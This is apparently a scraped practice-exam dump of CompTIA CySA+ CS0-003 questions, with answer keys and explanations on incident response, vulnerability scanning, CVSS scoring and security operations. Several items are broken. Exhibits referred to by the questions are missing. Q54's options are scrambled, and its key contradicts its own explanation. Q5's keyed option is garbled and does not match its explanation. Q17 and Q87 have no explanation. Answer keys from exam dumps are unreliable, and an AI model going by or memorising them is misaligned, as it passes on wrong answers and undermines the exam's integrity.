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CompTIA
Exam Questions CS0-003
CompTIA CySA+ Certification Beta Exam

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NEW QUESTION 1
During a security test, a security analyst found a critical application with a buffer overflow vulnerability. Which of the following would be best to mitigate the
vulnerability at the application level?

A. Perform OS hardening.
B. Implement input validation.
C. Update third-party dependencies.
D. Configure address space layout randomization.

Answer: B

Explanation:
Implementing input validation is the best way to mitigate the buffer overflow vulnerability at the application level. Input validation is a technique that checks the data
entered by users or attackers against a set of rules or constraints, such as data type, length, format, or range. Input validation can prevent common web
application attacks such as SQL injection, cross-site scripting (XSS), or command injection, which exploit the lack of input validation to execute malicious code or
commands on the server or the client side. By validating the input before allowing submission, the web application can reject or sanitize any malicious or
unexpected input, and protect the application from being compromised12. References: How to detect, prevent, and mitigate buffer overflow attacks - Synopsys,
How to mitigate buffer overflow vulnerabilities | Infosec

NEW QUESTION 2
A company is in the process of implementing a vulnerability management program. no-lich of the following scanning methods should be implemented to minimize
the risk of OT/ICS devices malfunctioning due to the vulnerability identification process?

A. Non-credentialed scanning
B. Passive scanning
C. Agent-based scanning
D. Credentialed scanning

Answer: B

Explanation:
Passive scanning is a method of vulnerability identification that does not send any packets or probes to the target devices, but rather observes and analyzes the
network traffic passively. Passive scanning can minimize the risk of OT/ICS devices malfunctioning due to the vulnerability identification process, as it does not
interfere with the normal operation of the devices or cause any network disruption. Passive scanning can also detect vulnerabilities that active scanning may miss,
such as misconfigured devices, rogue devices or unauthorized traffic. Official References:
? https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives
? https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your- questions-answered
? https://www.comptia.org/certifications/cybersecurity-analyst

NEW QUESTION 3
The Chief Information Security Officer is directing a new program to reduce attack surface risks and threats as part of a zero trust approach. The IT security team
is required to come up with priorities for the program. Which of the following is the best priority based on common attack frameworks?

A. Reduce the administrator and privileged access accounts

B. Employ a network-based IDS
C. Conduct thorough incident response
D. Enable SSO to enterprise applications

Answer: A

Explanation:
The best priority based on common attack frameworks for a new program to reduce attack surface risks and threats as part of a zero trust approach is to reduce
the administrator and privileged access accounts. Administrator and privileged access accounts are accounts that have elevated permissions or capabilities to
perform sensitive or critical tasks on systems or networks, such as installing software, changing configurations, accessing data, or granting access. Reducing the
administrator and privileged access accounts can help minimize the attack surface, as it can limit the number of potential targets or entry points for attackers, as
well as reduce the impact or damage of an attack if an account is compromised.

NEW QUESTION 4
A security analyst needs to mitigate a known, exploited vulnerability related not tack vector that embeds software through the USB interface. Which of the following
should the analyst do first?

A. Conduct security awareness training on the risks of using unknown and unencrypted USBs.
B. Write a removable media policy that explains that USBs cannot be connected to a company asset.
C. Check configurations to determine whether USB ports are enabled on company assets.
D. Review logs to see whether this exploitable vulnerability has already impacted the company.

Answer: C

Explanation:
USB ports are a common attack vector that can be used to deliver malware, steal data, or compromise systems. The first step to mitigate this vulnerability is to
check the configurations of the company assets and disable or restrict the USB ports if possible. This will prevent unauthorized devices from being connected and
reduce the attack surface. The other options are also important, but they are not the first priority in this scenario.
References:
? CompTIA CySA+ CS0-003 Certification Study Guide, page 247
? What are Attack Vectors: Definition & Vulnerabilities, section “How to secure attack vectors”
? Are there any attack vectors for a printer connected through USB in a Windows environment?, answer by user “schroeder”

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NEW QUESTION 5
A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and
integrity but not to availability. Which of the following CVE metrics would be most accurate for this zero-day threat?

A. CVSS: 31/AV: N/AC: L/PR: N/UI: N/S: U/C: H/1: K/A: L

B. CVSS:31/AV:K/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L
C. CVSS:31/AV:N/AC:L/PR:N/UI:H/S:U/C:L/I:N/A:H
D. CVSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/I:L/A:H

Answer: A

Explanation:
This answer matches the description of the zero-day threat. The attack vector is network (AV:N), the attack complexity is low (AC:L), no privileges are required
(PR:N), no user interaction is required (UI:N), the scope is unchanged (S:U), the confidentiality and integrity impacts are high (C:H/I:H), and the availability impact
is low (A:L). Official References: https://nvd.nist.gov/vuln-metrics/cvss

NEW QUESTION 6
The Chief Executive Officer (CEO) has notified that a confidential trade secret has been compromised. Which of the following communication plans should the
CEO initiate?

A. Alert department managers to speak privately with affected staff.

B. Schedule a press release to inform other service provider customers of the compromise.
C. Disclose to all affected parties in the Chief Operating Officer for discussion and resolution.
D. Verify legal notification requirements of PII and SPII in the legal and human resource departments.

Answer: A

Explanation:
The CEO should initiate an alert to department managers to speak privately with affected staff. This is because the trade secret is confidential and should not be
disclosed to the public. Additionally, the CEO should verify legal notification requirements of PII and SPII in the legal and human resource departments to ensure
compliance with data protection laws.
References: CompTIA CySA+ Study Guide: Exam CS0-002, 2nd Edition, Chapter 4, “Data Protection and Privacy Practices”, page 194; CompTIA CySA+
Certification Exam Objectives Version 4.0, Domain 4.0 “Compliance and Assessment”, Objective 4.1 “Given a scenario, analyze data as part of a security
incident”, Sub-objective “Data classification levels”, page 23

NEW QUESTION 7
An organization has tracked several incidents that are listed in the following table:

Which of the following is the organization's MTTD?

A. 140
B. 150
C. 160
D. 180

Answer: C

Explanation:
The MTTD (Mean Time To Detect) is calculated by averaging the time elapsed in detecting incidents. From the given data: (180+150+170+140)/4 = 160 minutes.
This is the correct answer according to the CompTIA CySA+ CS0-003 Certification Study Guide1, Chapter 4, page 161. References: CompTIA CySA+ Study
Guide: Exam CS0-003, 3rd Edition, Chapter 4, page 153; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 4, page 161.

NEW QUESTION 8
An analyst is remediating items associated with a recent incident. The analyst has isolated the vulnerability and is actively removing it from the system. Which of
the following steps of
the process does this describe?

A. Eradication
B. Recovery
C. Containment
D. Preparation

Answer: A

Explanation:
Eradication is a step in the incident response process that involves removing any traces or remnants of the incident from the affected systems or networks, such
as malware, backdoors, compromised accounts, or malicious files. Eradication also involves restoring the systems or networks to their normal or secure state, as
well as verifying that the incident is completely eliminated and cannot recur. In this case, the analyst is remediating items associated with a recent incident by
isolating the vulnerability and actively removing it from the system. This describes the eradication step of the incident response process.

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NEW QUESTION 9
A security analyst reviews the following Arachni scan results for a web application that stores PII data:

Which of the following should be remediated first?

A. SQL injection
B. RFI
C. XSS
D. Code injection

Answer: A

Explanation:
SQL injection should be remediated first, as it is a high-severity vulnerability that can allow an attacker to execute arbitrary SQL commands on the database server
and access, modify, or delete sensitive data, including PII. According to the Arachni scan results, there are two instances of SQL injection and three instances of
blind SQL injection (two timing attacks and one differential analysis) in the web application. These vulnerabilities indicate that the web application does not properly
validate or sanitize the user input before passing it to the database server, and thus exposes the database to malicious queries12. SQL injection can have serious
consequences for the confidentiality, integrity, and availability of the data and the system, and can also lead to further attacks, such as privilege escalation, data
exfiltration, or remote code execution34. Therefore, SQL injection should be the highest priority for remediation, and the web application should implement input
validation, parameterized queries, and least privilege principle to prevent SQL injection attacks5. References: Web application testing with Arachni | Infosec, How
do I create a generated scan report for PDF in Arachni Web …, Command line user interface · Arachni/arachni Wiki
· GitHub, SQL Injection - OWASP, Blind SQL Injection - OWASP, SQL Injection Attack: What is it, and how to prevent it., SQL Injection Cheat Sheet & Tutorial |
Veracode

NEW QUESTION 10
Which of the following describes how a CSIRT lead determines who should be communicated with and when during a security incident?

A. The lead should review what is documented in the incident response policy or plan
B. Management level members of the CSIRT should make that decision
C. The lead has the authority to decide who to communicate with at any time
D. Subject matter experts on the team should communicate with others within the specified area of expertise

Answer: A

Explanation:
The incident response policy or plan is a document that defines the roles and responsibilities, procedures and processes, communication and escalation
protocols, and reporting and documentation requirements for handling security incidents. The lead should review what is documented in the incident response
policy or plan to determine who should be communicated with and when during a security incident, as well as what information should be shared and how. The
incident response policy or plan should also be aligned with the organizational policies and legal obligations regarding incident notification and disclosure.

NEW QUESTION 10
A security team identified several rogue Wi-Fi access points during the most recent network scan. The network scans occur once per quarter. Which of the
following controls would best all ow the organization to identity rogue
devices more quickly?

A. Implement a continuous monitoring policy.

B. Implement a BYOD policy.
C. Implement a portable wireless scanning policy.
D. Change the frequency of network scans to once per month.

Answer: A

Explanation:
The best control to allow the organization to identify rogue devices more quickly is A. Implement a continuous monitoring policy. A continuous monitoring policy is a
set of procedures and tools that enable an organization to detect and respond to unauthorized or anomalous activities on its network in real time or near real time.
A continuous monitoring policy can help identify rogue access points as soon as they appear on the network, rather than waiting for quarterly or monthly scans. A
continuous monitoring policy can also help improve the overall security posture and compliance of the organization by providing timely and accurate information
about its network assets, vulnerabilities, threats, and incidents1.

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NEW QUESTION 15
A recent penetration test discovered that several employees were enticed to assist attackers by visiting specific websites and running downloaded files when
prompted by phone calls. Which of the following would best address this issue?

A. Increasing training and awareness for all staff

B. Ensuring that malicious websites cannot be visited
C. Blocking all scripts downloaded from the internet
D. Disabling all staff members' ability to run downloaded applications

Answer: A

Explanation:
Increasing training and awareness for all staff is the best way to address the issue of employees being enticed to assist attackers by visiting specific websites and
running downloaded files when prompted by phone calls. This issue is an example of social engineering, which is a technique that exploits human psychology and
behavior to manipulate people into performing actions or divulging information that benefit the attackers. Social engineering can take many forms, such as
phishing, vishing, baiting, quid pro quo, or impersonation. The best defense against social engineering is to educate and train the staff on how to recognize and
avoid common social engineering tactics, such as:
? Verifying the identity and legitimacy of the caller or sender before following their instructions or clicking on any links or attachments
? Being wary of unsolicited or unexpected requests for information or action, especially if they involve urgency, pressure, or threats
? Reporting any suspicious or anomalous activity to the security team or the appropriate authority
? Following the organization’s policies and procedures on security awareness and best practices
Official References:
? https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002- exam-objectives
? https://www.comptia.org/certifications/cybersecurity-analyst
? https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your- questions-answered

NEW QUESTION 17
HOTSPOT
A company recently experienced a security incident. The security team has determined
a user clicked on a link embedded in a phishing email that was sent to the entire company. The link resulted in a malware download, which was subsequently
installed and run.
INSTRUCTIONS
Part 1
Review the artifacts associated with the security incident. Identify the name of the malware, the malicious IP address, and the date and time when the malware
executable entered the organization.
Part 2
Review the kill chain items and select an appropriate control for each that would improve the security posture of the organization and would have helped to prevent
this incident from occurring. Each
control may only be used once, and not all controls will be used.

Firewall log:

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File integrity Monitoring Report:

Malware domain list:

Vulnerability Scan Report:

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Phishing Email:

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A. Mastered
B. Not Mastered

Answer: A

Explanation:

NEW QUESTION 22
A Chief Information Security Officer (CISO) is concerned that a specific threat actor who is known to target the company's business type may be able to breach the
network and remain inside of it for an extended period of time.
Which of the following techniques should be performed to meet the CISO's goals?

A. Vulnerability scanning
B. Adversary emulation
C. Passive discovery
D. Bug bounty

Answer: B

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Explanation:
The correct answer is B. Adversary emulation.
Adversary emulation is a technique that involves mimicking the tactics, techniques, and procedures (TTPs) of a specific threat actor or group to test the
effectiveness of the security controls and incident response capabilities of an organization1. Adversary emulation can help identify and address the gaps and
weaknesses in the security posture of an organization, as well as improve the readiness and skills of the security team. Adversary emulation can also help
measure the dwell time, which is the duration that a threat actor remains undetected inside the network2.
The other options are not the best techniques to meet the CISO’s goals. Vulnerability scanning (A) is a technique that involves scanning the network and systems
for known vulnerabilities, but it does not simulate a real attack or test the incident response capabilities. Passive discovery © is a technique that involves collecting
information about the network and systems without sending any packets or probes, but it does not identify or exploit any vulnerabilities or test the security controls.
Bug bounty (D) is a program that involves rewarding external researchers or hackers for finding and reporting vulnerabilities in an organization’s systems or
applications, but it does not focus on a specific threat actor or group.

NEW QUESTION 23
A manufacturer has hired a third-party consultant to assess the security of an OT network that includes both fragile and legacy equipment Which of the following
must be considered to ensure the consultant does no harm to operations?

A. Employing Nmap Scripting Engine scanning techniques

B. Preserving the state of PLC ladder logic prior to scanning
C. Using passive instead of active vulnerability scans
D. Running scans during off-peak manufacturing hours

Answer: C

Explanation:
In environments with fragile and legacy equipment, passive scanning is preferred to prevent any potential disruptions that active scanning might cause.
When assessing the security of an Operational Technology (OT) network, especially one with fragile and legacy equipment, it's crucial to use passive instead of
active vulnerability scans. Active scanning can sometimes disrupt the operation of sensitive or older equipment. Passive scanning listens to network traffic without
sending probing requests, thus minimizing the risk of disruption.

NEW QUESTION 24
During an incident involving phishing, a security analyst needs to find the source of the malicious email. Which of the following techniques would provide the
analyst with this information?

A. Header analysis
B. Packet capture
C. SSL inspection
D. Reverse engineering

Answer: A

Explanation:
Header analysis is the technique of examining the metadata of an email, such as the sender, recipient, date, subject, and routing information. It can help to identify
the source of a malicious email by revealing the IP address and domain name of the originator, as well as any spoofing or redirection attempts. References:
CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 6, page 240; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 6, page 249.

NEW QUESTION 26
An analyst recommends that an EDR agent collect the source IP address, make a connection to the firewall, and create a policy to block the malicious source IP
address across the entire network automatically. Which of the following is the best option to help the analyst implement this recommendation?

A. SOAR
B. SIEM
C. SLA
D. IoC

Answer: A

Explanation:
SOAR (Security Orchestration, Automation, and Response) is the best option to help the analyst implement the recommendation, as it reflects the software
solution that enables security teams to integrate and coordinate separate tools into streamlined threat response workflows and automate repetitive tasks. SOAR is
a term coined by Gartner in 2015 to describe a technology that combines the functions of security incident response platforms, security orchestration and
automation platforms, and threat intelligence platforms in one offering. SOAR solutions help security teams to collect inputs from various sources, such as EDR
agents, firewalls, or SIEM systems, and perform analysis and triage using a combination of human and machine power. SOAR solutions also allow security teams
to define and execute incident response procedures in a digital workflow format, using automation to perform low-level tasks or actions, such as blocking an IP
address or quarantining a device. SOAR solutions can help security teams to improve efficiency, consistency, and scalability of their operations, as well as reduce
mean time to detect (MTTD) and mean time to respond (MTTR) to threats. The other options are not as suitable as SOAR, as they do not match the description or
purpose of the recommendation. SIEM (Security Information and Event Management) is a software solution that collects and analyzes data from various sources,
such as logs, events, or alerts, and provides security monitoring, threat detection, and incident response capabilities. SIEM solutions can help security teams to
gain visibility, correlation, and context of their security data, but they do not provide automation or orchestration features like SOAR solutions. SLA (Service Level
Agreement) is a document that defines the expectations and responsibilities between a service provider and a customer, such as the quality, availability, or
performance of the service. SLAs can help to manage customer expectations, formalize communication, and improve productivity and relationships, but they do
not help to implement technical recommendations like SOAR solutions. IoC (Indicator of Compromise) is a piece of data or evidence that suggests a system or
network has been compromised by a threat actor, such as an IP address, a file hash, or a registry key. IoCs can help to identify and analyze malicious activities or
incidents, but they do not help to implement response actions like SOAR solutions.

NEW QUESTION 31
Which of the following concepts is using an API to insert bulk access requests from a file into an identity management system an example of?

A. Command and control

B. Data enrichment

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C. Automation
D. Single sign-on

Answer: C

Explanation:
Automation is the best concept to describe the example, as it reflects the use of technology to perform tasks or processes without human intervention. Automation
can help to improve efficiency, accuracy, consistency, and scalability of various operations, such as identity and access management (IAM). IAM is a security
framework that enables organizations to manage the identities and access rights of users and devices across different systems and applications. IAM can help to
ensure that only authorized users and devices can access the appropriate resources at the appropriate time and for the appropriate purpose. IAM can involve
various tasks or processes, such as authentication, authorization, provisioning, deprovisioning, auditing, or reporting. Automation can help to simplify and
streamline these tasks or processes by using software tools or scripts that can execute predefined actions or workflows based on certain triggers or conditions. For
example, automation can help to create, update, or delete user accounts in bulk based on a file or a database, rather than manually entering or modifying each
account individually. The example in the question shows that an API is used to insert bulk access requests from a file into an identity management system. An API
(Application Programming Interface) is a set of rules or specifications that defines how different software components or systems can communicate and exchange
data with each other. An API can help to enable automation by providing a standardized and consistent way to access and manipulate data or functionality of a
software component or system. The example in the question shows that an API is used to automate the process of inserting bulk access requests from a file into
an identity management system, rather than manually entering each request one by one. The other options are not correct, as they describe different concepts or
techniques. Command and control is a term that refers to the ability of an attacker to remotely control a compromised system or device, such as using malware or
backdoors. Command and control is not related to what is described in the example. Data enrichment is a term that refers to the process of enhancing or
augmenting existing data with additional information from external sources, such as adding demographic or behavioral attributes to customer profiles. Data
enrichment is not related to what is described in the example. Single sign-on is a term that refers to an authentication method that allows users to access multiple
systems or applications with one set of credentials, such as using a single username and password for different websites or services. Single sign-on is not related
to what is described in the example.

NEW QUESTION 33
Which of the following should be updated after a lessons-learned review?

A. Disaster recovery plan

B. Business continuity plan
C. Tabletop exercise
D. Incident response plan

Answer: D

Explanation:
A lessons-learned review is a process of evaluating the effectiveness and efficiency of the incident response plan after an incident or an exercise. The purpose of
the review is to identify the strengths and weaknesses of the incident response plan, and to update it accordingly to improve the future performance and resilience
of the organization. Therefore, the incident response plan should be updated after a lessons-learned review. References: The answer was based on the NCSC
CAF guidance from the National Cyber Security Centre, which states: “You should use post-incident and post-exercise reviews to actively reduce the risks
associated with the same, or similar, incidents happening in future.
Lessons learned can inform any aspect of your cyber security, including: System configuration Security monitoring and reporting Investigation procedures
Containment/recovery strategies”

NEW QUESTION 34
A security analyst is performing vulnerability scans on the network. The analyst installs a scanner appliance, configures the subnets to scan, and begins the scan
of the network.
Which of the following would be missing from a scan performed with this configuration?

A. Operating system version

B. Registry key values
C. Open ports
D. IP address

Answer: B

Explanation:
Registry key values would be missing from a scan performed with this configuration, as the scanner appliance would not have access to the Windows Registry of
the scanned systems. The Windows Registry is a database that stores configuration settings and options for the operating system and installed applications. To
scan the Registry, the scanner would need to have credentials to log in to the systems and run a local agent or script. The other items would not be missing from
the scan, as they can be detected by the scanner appliance without credentials. Operating system version can be identified by analyzing service banners or
fingerprinting techniques. Open ports can be discovered by performing a port scan or sending probes to common ports. IP address can be obtained by resolving
the hostname or using network discovery tools. https://attack.mitre.org/techniques/T1112/

NEW QUESTION 36
An analyst discovers unusual outbound connections to an IP that was previously blocked at the web proxy and firewall. Upon further investigation, it appears that
the proxy and firewall rules that were in place were removed by a service account that is not recognized. Which of the following parts of the Cyber Kill Chain does
this describe?

A. Delivery
B. Command and control
C. Reconnaissance
D. Weaporization

Answer: B

Explanation:
The Command and Control stage of the Cyber Kill Chain describes the communication between the attacker and the compromised system. The attacker may use
this channel to send commands, receive data, or update malware. If the analyst discovers unusual outbound connections to an IP that was previously blocked, it
may indicate that the attacker has established a command and control channel and bypassed the security controls. ReferencesC: yber Kill Chain® | Lockheed

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Martin

NEW QUESTION 39
Which of the following is the best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach?

A. Determine the sophistication of the audience that the report is meant for
B. Include references and sources of information on the first page
C. Include a table of contents outlining the entire report
D. Decide on the color scheme that will effectively communicate the metrics

Answer: A

Explanation:
The best way to begin preparation for a report titled “What We Learned” regarding a recent incident involving a cybersecurity breach is to determine the
sophistication of the audience that the report is meant for. The sophistication of the audience refers to their level of technical knowledge, understanding, or interest
in cybersecurity topics. Determining the sophistication of the audience can help tailor the
report content, language, tone, and format to suit their needs and expectations. For example, a report for executive management may be more concise, high-level,
and business-oriented than a report for technical staff or peers.

NEW QUESTION 44
An attacker recently gained unauthorized access to a financial institution's database, which contains confidential information. The attacker exfiltrated a large
amount of data before being detected and blocked. A security analyst needs to complete a root cause analysis to determine how the attacker was able to gain
access. Which of the following should the analyst perform first?

A. Document the incident and any findings related to the attack for future reference.
B. Interview employees responsible for managing the affected systems.
C. Review the log files that record all events related to client applications and user access.
D. Identify the immediate actions that need to be taken to contain the incident and minimize damage.

Answer: C

Explanation:
In a root cause analysis following unauthorized access, the initial step is usually to review relevant log files. These logs can provide critical information about how
and when the attacker gained access.
The first step in a root cause analysis after a data breach is typically to review the logs. This helps the analyst understand how the attacker gained access by
providing a detailed record of all events, including unauthorized or abnormal activities. Documenting the incident, interviewing employees, and identifying
immediate containment actions are important steps, but they usually follow the initial log review.

NEW QUESTION 47
After a security assessment was done by a third-party consulting firm, the cybersecurity program recommended integrating DLP and CASB to reduce analyst alert
fatigue. Which of the following is the best possible outcome that this effort hopes to achieve?

A. SIEM ingestion logs are reduced by 20%.

B. Phishing alerts drop by 20%.
C. False positive rates drop to 20%.
D. The MTTR decreases by 20%.

Answer: D

Explanation:
The MTTR (Mean Time to Resolution) decreases by 20% is the best possible outcome that this effort hopes to achieve, as it reflects the improvement in the
efficiency and effectiveness of the incident response process by reducing analyst alert fatigue. Analyst alert fatigue is a term that refers to the phenomenon of
security analysts becoming overwhelmed, desensitized, or exhausted by the large number of alerts they receive from various security tools or systems, such as
DLP (Data Loss Prevention) or CASB (Cloud Access Security Broker). DLP is a security solution that helps to prevent unauthorized access, use, or transfer of
sensitive data, such as personal information, intellectual property, or financial records. CASB is a security solution that helps to monitor and control the use of
cloud-based applications and services, such as SaaS (Software as a Service), PaaS (Platform as a Service), or IaaS (Infrastructure as a Service). Both DLP and
CASB can generate alerts when they detect potential data breaches, policy violations, or malicious activities, but they can also produce false positives, irrelevant
information, or duplicate notifications that can overwhelm or distract the security analysts. Analyst alert fatigue can have negative consequences for the security
posture and performance of an organization, such as missing or ignoring critical alerts, delaying or skipping investigations or remediations, making errors or
mistakes, or losing motivation or morale. Therefore, it is important to reduce analyst alert fatigue and optimize the alert management process by using various
strategies, such as tuning the alert thresholds and rules, prioritizing and triaging the alerts based on severity and context, enriching and correlating the alerts with
additional data sources, automating or orchestrating repetitive or low-level tasks or actions, or integrating and consolidating different security tools or systems into
a unified platform. By reducing analyst alert fatigue and optimizing the alert management process, the effort hopes to achieve a decrease in the MTTR, which is a
metric that measures the average time it takes to resolve an incident from the moment it is reported to the moment it is closed. A lower MTTR indicates a faster
and more effective incident response process,
which can help to minimize the impact and damage of security incidents, improve customer satisfaction and trust, and enhance security operations and outcomes.
The other options are not as relevant or realistic as the MTTR decreases by 20%, as they do not reflect the best possible outcome that this effort hopes to achieve.
SIEM ingestion logs are reduced by 20% is not a relevant outcome, as it does not indicate any improvement in the incident response process or any reduction in
analyst alert fatigue. SIEM (Security Information and Event Management) is a security solution that collects and analyzes data from various sources, such as logs,
events, or alerts, and provides security monitoring, threat detection, and incident response capabilities. SIEM ingestion logs are records of the data that is ingested
by the SIEM system from different sources. Reducing SIEM ingestion logs may imply less data volume or less data sources for the SIEM system, which may not
necessarily improve its performance or accuracy. Phishing alerts drop by 20% is not a realistic outcome, as it does not depend on the integration of DLP and
CASB or any reduction in analyst alert fatigue. Phishing alerts are notifications that indicate potential phishing attempts or attacks, such as fraudulent emails,
websites, or messages that try to trick users into revealing sensitive information or installing malware. Phishing alerts can be generated by various security tools or
systems, such as email security solutions, web security solutions, endpoint security solutions, or user awareness training programs. Reducing phishing alerts may
imply less phishing attempts or attacks on the organization, which may not necessarily be influenced by the integration of DLP and CASB or any reduction in
analyst alert fatigue. False positive rates drop to 20% is not a realistic outcome

NEW QUESTION 51

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New employees in an organization have been consistently plugging in personal webcams despite the company policy prohibiting use of personal devices. The
SOC manager discovers that new employees are not aware of the company policy. Which of the following will the SOC manager most likely recommend to help
ensure new employees are accountable for following the company policy?

A. Human resources must email a copy of a user agreement to all new employees
B. Supervisors must get verbal confirmation from new employees indicating they have read the user agreement
C. All new employees must take a test about the company security policy during the cjitoardmg process
D. All new employees must sign a user agreement to acknowledge the company security policy

Answer: D

Explanation:
The best action that the SOC manager can recommend to help ensure new employees are accountable for following the company policy is to require all new
employees to sign a user agreement to acknowledge the company security policy. A user agreement is a document that defines the rights and responsibilities of
the users regarding the use of the company’s systems, networks, or resources, as well as the consequences of violating the company’s security policy. Signing a
user agreement can help ensure new employees are aware of and agree to comply with the company security policy, as well as hold them accountable for any
breaches or incidents caused by their actions or inactions.

NEW QUESTION 54
Which of the following security operations tasks are ideal for automation?

Create subfolders in the original folder based on category of graphics foun

Looktofor
B. Move the suspicious graphics thesuspicious-looking graphics in a folder.
appropriate subfolder
A. Suspicious file analysis:
C. Firewall IoC block actions:Examine the firewall logs for IoCs from the most recently published zero-day exploit Take mitigating actions in the firewall to block the
behavior found in the logsFollow up on any false positives that were caused by the block rules
D. Security application user errors:Search the error logs for signs of users having trouble with the security application Look up the user's phone numberCall the
user to help with any questions about using the application
E. Email header analysis:Check the email header for a phishing confidence metric greater than or equal to five Add the domain of sender to the block listMove the
email to quarantine

Answer: D

Explanation:
Email header analysis is one of the security operations tasks that are ideal for automation. Email header analysis involves checking the email header for various
indicators of phishing or spamming attempts, such as sender address spoofing, mismatched domains, suspicious subject lines, or phishing confidence metrics.
Email header analysis can be automated using tools or scripts that can parse and analyze email headers and take appropriate actions based on predefined rules
or thresholds

NEW QUESTION 59
The analyst reviews the following endpoint log entry:

Which of the following has occurred?

A. Registry change
B. Rename computer
C. New account introduced
D. Privilege escalation

Answer: C

Explanation:
The endpoint log entry shows that a new account named “admin” has been created on a Windows system with a local group membership of “Administrators”.
This indicates that a new account has been introduced on the system with administrative privileges. This could be a sign of malicious activity, such as privilege
escalation or backdoor creation, by an attacker who has compromised the system.

NEW QUESTION 63
An employee is no longer able to log in to an account after updating a browser. The employee usually has several tabs open in the browser. Which of
the following attacks was most likely performed?

A. RFI
B. LFI
C. CSRF
D. XSS

Answer: C

Explanation:
The most likely attack that was performed is CSRF (Cross-Site Request Forgery). This is an attack that forces a user to execute unwanted actions on a web
application in which they are currently authenticated1. If the user has several tabs open in the browser, one of them might contain a malicious link or form that
sends a request to the web application to change the user’s password, email address, or other account settings. The web application will not be able to distinguish
between the legitimate requests made by the user and the forged requests made by the attacker. As a result, the user will lose access to their account.
To prevent CSRF attacks, web applications should implement some form of anti-CSRF tokens or other mechanisms that validate the origin and integrity of the
requests2. These tokens are unique and unpredictable values that are generated by the server and embedded in the forms or URLs that perform state-changing
actions. The server will then verify that the token received from the client matches the token stored on the server before processing the request. This way, an
attacker cannot forge a valid request without knowing the token value.
Some other possible attacks that are not relevant to this scenario are:

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? RFI (Remote File Inclusion) is an attack that allows an attacker to execute malicious code on a web server by including a remote file in a script. This attack does
not affect the user’s browser or account settings.
? LFI (Local File Inclusion) is an attack that allows an attacker to read or execute local files on a web server by manipulating the input parameters of a script. This
attack does not affect the user’s browser or account settings.
? XSS (Cross-Site Scripting) is an attack that injects malicious code into a web page that is then executed by the user’s browser. This attack can affect the user’s
browser or account settings, but it requires the user to visit a compromised web page or click on a malicious link. It does not depend on having several tabs open
in the browser.

NEW QUESTION 66
A malicious actor has gained access to an internal network by means of social engineering. The actor does not want to lose access in order to continue the attack.
Which of the following best describes the current stage of the Cyber Kill Chain that the threat actor is currently operating in?

A. Weaponization
B. Reconnaissance
C. Delivery
D. Exploitation

Answer: D

Explanation:
The Cyber Kill Chain is a framework that describes the stages of a cyberattack from reconnaissance to actions on objectives. The exploitation stage is where
attackers take advantage of the vulnerabilities they have discovered in previous stages to further infiltrate a target’s network and achieve their objectives. In this
case, the malicious actor has gained access to an internal network by means of social engineering and does not want to lose access in order to continue the
attack. This indicates that the actor is in the exploitation stage of the Cyber Kill Chain. Official References: https://www.lockheedmartin.com/en-
us/capabilities/cyber/cyber-kill-chain.html

NEW QUESTION 71
An analyst is suddenly unable to enrich data from the firewall. However, the other open intelligence feeds continue to work. Which of the following is the most likely
reason the firewall feed stopped working?

A. The firewall service account was locked out.

B. The firewall was using a paid feed.
C. The firewall certificate expired.
D. The firewall failed open.

Answer: C

Explanation:
The firewall certificate expired. If the firewall uses a certificate to authenticate and encrypt the feed, and the certificate expires, the feed will stop working until the
certificate is renewed or replaced. This can affect the data enrichment process and the security analysis. References: CompTIA CySA+ Study Guide: Exam
CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 161.

NEW QUESTION 76
An analyst is becoming overwhelmed with the number of events that need to be investigated for a timeline. Which of the following should the analyst focus on in
order to move the incident forward?

A. Impact
B. Vulnerability score
C. Mean time to detect
D. Isolation

Answer: A

Explanation:
The analyst should focus on the impact of the events in order to move the incident forward. Impact is the measure of the potential or actual damage caused by an
incident, such as data loss, financial loss, reputational damage, or regulatory penalties. Impact can help the analyst prioritize the events that need to be
investigated based on their severity and urgency, and allocate the appropriate resources and actions to contain and remediate them. Impact can also help the
analyst communicate the status and progress of the incident to the stakeholders and customers, and justify the decisions and recommendations made during the
incident response12. Vulnerability score, mean time to detect, and isolation are all important metrics or actions for incident response, but they are not the main
focus for moving the incident forward. Vulnerability score is the rating of the likelihood and severity of a vulnerability being exploited by a threat actor. Mean time to
detect is the average time it takes to discover an incident. Isolation is the process of disconnecting an affected system from the network to prevent further damage
or spread of the incident34 . References: Incident Response: Processes, Best Practices & Tools - Atlassian, Incident Response Metrics: What You Should Be
Measuring, Vulnerability Scanning Best Practices, How to Track Mean Time to Detect (MTTD) and Mean Time to Respond (MTTR) to Cybersecurity Incidents,
[Isolation and Quarantine for Incident Response]

NEW QUESTION 81
A security manager is looking at a third-party vulnerability metric (SMITTEN) to improve upon the company's current method that relies on CVSSv3. Given the
following:

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Which of the following vulnerabilities should be prioritized?

A. Vulnerability 1
B. Vulnerability 2
C. Vulnerability 3
D. Vulnerability 4

Answer: B

Explanation:
Vulnerability 2 should be prioritized as it is exploitable, has high exploit activity, and is exposed externally according to the SMITTEN metric. References:
Vulnerability Management Metrics: 5 Metrics to Start Measuring in Your Program, Section: Vulnerability Severity.

NEW QUESTION 83
Exploit code for a recently disclosed critical software vulnerability was publicly available (or download for several days before being removed. Which of the
following CVSS v.3.1 temporal metrics was most impacted by this exposure?

A. Remediation level
B. Exploit code maturity
C. Report confidence
D. Availability

Answer: B

Explanation:
Exploit code maturity in the CVSS v.3.1 temporal metrics refers to the reliability and availability of exploit code for a vulnerability. Public availability of exploit code
increases the exploit code maturity score.
The availability of exploit code affects the 'Exploit Code Maturity' metric in CVSS v.3.1. This metric evaluates the level of maturity of the exploit that targets the
vulnerability. When exploit code is readily available, it suggests a higher level of maturity, indicating that the
exploit is more reliable and easier to use.

NEW QUESTION 87
A new cybersecurity analyst is tasked with creating an executive briefing on possible threats to the organization. Which of the following will produce the data
needed for the briefing?

A. Firewall logs
B. Indicators of compromise
C. Risk assessment
D. Access control lists

Answer: B

Explanation:

